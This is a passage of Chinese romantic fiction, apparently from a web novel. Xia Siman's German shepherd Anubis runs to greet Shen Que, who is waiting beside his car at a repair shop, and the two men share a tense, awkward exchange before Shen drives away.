“汪——汪汪!”阿努比斯突然叫了起来,德牧是大型犬,叫起来气吞山河,吓得周围的人纷纷看了过来,脚下却是在往旁边躲。 夏思勉将牵引绳用力往后一拽,呵斥了一声:“阿努比斯!” “汪!”阿努比斯被拽得往后一仰,调整好姿势,又固执地要往前冲。 夏思勉这才抬眼看去,视线就和站在马路边,听到阿努比斯的叫声也正朝这边看过来的沈确对上了。 夏思勉手上的力气一松,阿努比斯径直朝着沈确飞奔了过去。 夏思勉慢了半拍,也拔腿追了上去。 他不能像阿努比斯那样,从心所欲,见到沈确就朝他飞奔过去,但阿努比斯可以是他最好的借口。 沈确看到阿努比斯朝自己冲了过来,轻轻皱了下眉,用半命令的语气叫它:“阿努比斯,停下。” 阿努比斯飞奔到沈确的身前,听话地放慢了速度,围着沈确的腿蹭了半天,见沈确没有回应,便乖乖退回去坐下,仰着头看沈确,吐着大舌头哈气,贴在地上的尾巴左右晃动着,无一不是在讨好沈确。 沈确的脸上总算是浮起一丝笑意,伸手去摸阿努比斯的头,表扬道:“好狗。” “对不起!”夏思勉也赶了上来,弯腰捡起地上的牵引绳握把,面对沈确,有些局促。 “牵好,阿努比斯这么大一只,撞到小孩子怎么办?”沈确的语气有些严厉,夏思勉没有辩解,握着握把的手又紧了紧。 “你怎么在这里?”夏思勉想找点话来说,可话没过脑子,出口了才开始后悔。 果然沈确收回了揉着阿努比斯脑袋的手,声音更冷了:“你管太多了,夏思勉。” “没有问题,报警是因为刹车片松了,我紧一下,现在就没报警了……”一个穿着汽修工作服的男人从旁边的车头前冒了出来,夏思勉认识他,旁边这家汽修店的周哥,沈确的车日常保养维护都是交给他在做。 似乎是察觉到两人之间的气氛有些尴尬,周哥顿时也尴尬了起来。 “好的,谢谢。”沈确礼貌地朝周哥点了点头,脸上带着适度的社交微笑。 “没事,小问题,车子有什么问题,随时开过来找我。”周哥赶忙摆手。 “好,那我先走了。”沈确说着,抬脚跨下人行道。 见沈确要走,阿努比斯连忙起身要跟上去。 这次夏思勉拽紧了牵引绳。 直到目送沈确的车开远,阿努比斯才停下挣扎,扭过头来看夏思勉,似乎是察觉到了夏思勉脸上的失落,阿努比斯又走回了夏思勉的身边,用大脑袋蹭了蹭夏思勉的腿。 夏思勉也蹲了下来,揉了揉阿努比斯的脑袋。